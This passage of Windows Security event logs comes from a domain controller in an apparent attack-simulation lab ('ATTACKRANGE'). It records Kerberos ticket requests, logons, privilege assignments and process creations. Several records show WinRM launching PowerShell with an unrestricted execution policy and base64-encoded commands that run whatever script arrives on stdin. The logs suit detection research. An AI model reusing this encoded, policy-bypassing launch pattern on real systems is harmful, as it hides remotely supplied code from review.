-Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251622 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B867D44C-3D18-6F15-A9F7-284F6AF774D8} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251621 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251620 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CAE6 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:48 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251619 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C785 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251730 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x934 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1064 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251729 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1064 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1098 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251728 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14079E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251727 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14079E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251726 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251725 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251724 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251723 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1098 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc70 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251722 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1402D0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc70 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfa8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251721 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14059D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251720 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14059D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251719 -Keywords=Audit Success -Message=A logon was attempted using 